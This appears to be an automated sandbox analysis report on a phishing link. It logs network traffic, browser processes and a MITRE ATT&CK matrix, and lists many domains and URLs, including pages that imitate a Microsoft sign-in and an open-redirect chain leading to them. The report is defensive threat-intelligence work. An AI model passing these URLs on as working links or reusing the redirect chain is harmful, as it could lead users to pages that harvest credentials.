Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 15 Jan 2025 09:07:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 6e31fb7f-2898-4bd6-8bb0-21dc88a13e00x-ms-ests-server: 2.1.19870.3 - FRC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 15 Jan 2025 09:07:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 3c005405-6efa-4710-8037-669c46f01f00x-ms-ests-server: 2.1.19870.3 - NEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 15 Jan 2025 09:07:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: no-store, no-cachex-ms-correlation-id: c022bd8b-ee59-458f-8441-463743105dd1x-ua-compatible: IE=Edgex-cache: CONFIG_NOCACHEx-msedge-ref: Ref A: 6D623D827B7B4E08B60F1D653A2D8637 Ref B: BLUEDGE1105 Ref C: 2025-01-15T09:07:21Zaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 15 Jan 2025 09:07:23 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 822a9f6d-a95e-41f0-b162-fb0aed447b00x-ms-ests-server: 2.1.19870.3 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 15 Jan 2025 09:07:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 51c37376-6f2d-4300-a0e5-3945a71f7d00x-ms-ests-server: 2.1.19870.3 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 15 Jan 2025 09:07:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: ba5016d0-498b-4e6a-aaf8-430477251d00x-ms-ests-server: 2.1.19870.3 - NEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://b5b24357-cf4691c7.rnantengu.com/api/report?catId=GW+estsfd+ams2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:

Source: chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_120.2.dr	String found in binary or memory: https://i.imgur.com/gt4PosY.png
Source: chromecache_116.2.dr	String found in binary or memory: https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify
Source: chromecache_107.2.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_107.2.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_121.2.dr, chromecache_102.2.dr, chromecache_123.2.dr, chromecache_97.2.dr, chromecache_107.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/1Bq_oiMBd4XPUhKDwr0YL1Js/recaptcha__.
Source: chromecache_102.2.dr, chromecache_122.2.dr, chromecache_105.2.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/1Bq_oiMBd4XPUhKDwr0YL1Js/recaptcha__en.js
Source: chromecache_97.2.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/zIriijn3uj5Vpknvt_LnfNbF/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443

Source: classification engine

Classification label: mal72.phis.win@21/88@30/9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,10795531608968129208,3119711031500840883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://realazure.action.azurecomm.net/api/v2/a/c?url=https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/&d=AIAACYB2LC5AFHPW2VWJHSV6UVQVRFTHKQBDW7UWQ3KNJXOX5BDUSXJ3ZQRQJPJ5OCLBPZWKD4BJYLQE5BL3GPZPYFC3R7C3HOFZMPETSYONQACZBWKXDVJSZWINJEC6Z4RKVWOIGO4NDLG6FQA6LFOFNHOYVHNU6O5BF2CIF5XY7JZBYIXDHOQTPGKEQXDCQ5S3LP7YSIX6WCUPVILRNCLWJT2MHVSBN2DFV42FB6TTKWPS3I3ZHCMOW63EIPBFPUC2TNHK25YXIBLVSK2QFSGRKUWIP7I&s=CJMEZBXJGCDDZHAVATKKCN5IOIKFCP44FAQWT2LF3YTNOXOSBYKA"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,10795531608968129208,3119711031500840883,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://realazure.action.azurecomm.net/api/v2/a/c?url=https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/&d=AIAACYB2LC5AFHPW2VWJHSV6UVQVRFTHKQBDW7UWQ3KNJXOX5BDUSXJ3ZQRQJPJ5OCLBPZWKD4BJYLQE5BL3GPZPYFC3R7C3HOFZMPETSYONQACZBWKXDVJSZWINJEC6Z4RKVWOIGO4NDLG6FQA6LFOFNHOYVHNU6O5BF2CIF5XY7JZBYIXDHOQTPGKEQXDCQ5S3LP7YSIX6WCUPVILRNCLWJT2MHVSBN2DFV42FB6TTKWPS3I3ZHCMOW63EIPBFPUC2TNHK25YXIBLVSK2QFSGRKUWIP7I&s=CJMEZBXJGCDDZHAVATKKCN5IOIKFCP44FAQWT2LF3YTNOXOSBYKA	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://onlineauthenticationrelayservices.rnantengu.com/?vu=5C&username=bdf29f%40eutg.co	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js	0%	Avira URL Cloud	safe
https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	0%	Avira URL Cloud	safe
https://onlineauthenticationrelayservices.rnantengu.com/?vu=5C&username=bdf29f%40eutg.co&sso_reload=true	0%	Avira URL Cloud	safe
https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	0%	Avira URL Cloud	safe
https://onlineauthenticationrelayservices.rnantengu.com/cf4691c709594b658426624fe3bf208f/	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	0%	Avira URL Cloud	safe
https://onlineauthenticationrelayservices.rnantengu.com/?	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	0%	Avira URL Cloud	safe
https://b997208a-cf4691c7.rnantengu.com/Prefetch/Prefetch.aspx	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	0%	Avira URL Cloud	safe
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js	0%	Avira URL Cloud	safe
https://l1ve.rnantengu.com/Me.htm?v=3	0%	Avira URL Cloud	safe
https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/index.php?continue2	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
l1ve.rnantengu.com	172.235.150.19	true	true	unknown
onlineauthenticationrelayservices.rnantengu.com	172.235.150.19	true	true	unknown
b997208a-cf4691c7.rnantengu.com	172.235.150.19	true	true	unknown
evoicemanageroauth-receptionextension.ayesgroup.com.tr	66.228.45.195	true	false	unknown
a6dd5e95-cf4691c7.rnantengu.com	172.235.150.19	true	true	unknown
www.google.com	142.250.186.164	true	false	high
24eff8d9-cf4691c7.rnantengu.com	172.235.150.19	true	true	unknown
ipv4.imgur.map.fastly.net	199.232.196.193	true	false	high
realazure.action.azurecomm.net	unknown	unknown	true	unknown
officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com	unknown	unknown	true	unknown
i.imgur.com	unknown	unknown	false	high
officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://onlineauthenticationrelayservices.rnantengu.com/?vu=5C&username=bdf29f%40eutg.co	true	Avira URL Cloud: safe	unknown
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	true	Avira URL Cloud: safe	unknown
https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/	false	Avira URL Cloud: safe	unknown
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	true	Avira URL Cloud: safe	unknown
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js	true	Avira URL Cloud: safe	unknown
https://onlineauthenticationrelayservices.rnantengu.com/?vu=5C&username=bdf29f%40eutg.co&sso_reload=true	true	Avira URL Cloud: safe	unknown
https://a6dd5e95-cf4691c7.rnantengu.com/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	true	Avira URL Cloud: safe	unknown
https://i.imgur.com/gt4PosY.png	false		high
https://onlineauthenticationrelayservices.rnantengu.com/?	true	Avira URL Cloud: safe	unknown
https://www.google.com/js/bg/CY4IdQ8PNOqs9ugPxTaJh2hYWy8m1lFu__OIecPWn-w.js	false		high
https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html	false		unknown
https://onlineauthenticationrelayservices.rnantengu.com/cf4691c709594b658426624fe3bf208f/	true	Avira URL Cloud: safe	unknown
https://officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com/rnsign.html#YmRmMjlmQGV1dGcuY28=	true		unknown
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	true	Avira URL Cloud: safe	unknown
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js	true	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api2/reload?k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB	false		high
https://www.google.com/recaptcha/api.js	false		high
https://b997208a-cf4691c7.rnantengu.com/Prefetch/Prefetch.aspx	true	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api2/userverify?k=6LdLXbcqAAAAALRfEjW-l3ElmGAtD5CTjcOsiFcB	false		high
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	true	Avira URL Cloud: safe	unknown
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	true	Avira URL Cloud: safe	unknown
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	true	Avira URL Cloud: safe	unknown
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js	true	Avira URL Cloud: safe	unknown
https://a6dd5e95-cf4691c7.rnantengu.com/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js	true	Avira URL Cloud: safe	unknown
https://a6dd5e95-cf4691c7.rnantengu.com/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js	true	Avira URL Cloud: safe	unknown
https://l1ve.rnantengu.com/Me.htm?v=3	true	Avira URL Cloud: safe	unknown
https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/index.php?continue2	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify	chromecache_116.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	false		high
https://support.google.com/recaptcha#6262736	chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	false		high
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	false		high
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	false		high
https://cloud.google.com/contact	chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	false		high
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_107.2.dr	false		high
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	false		high
https://support.google.com/recaptcha/#6175971	chromecache_121.2.dr, chromecache_123.2.dr, chromecache_107.2.dr	false		high
https://www.google.com/recaptcha/api2/	chromecache_121.2.dr, chromecache_102.2.dr, chromecache_123.2.dr, chromecache_97.2.dr, chromecache_107.2.dr	false		high
https://support.google.com/recaptcha	chromecache_107.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
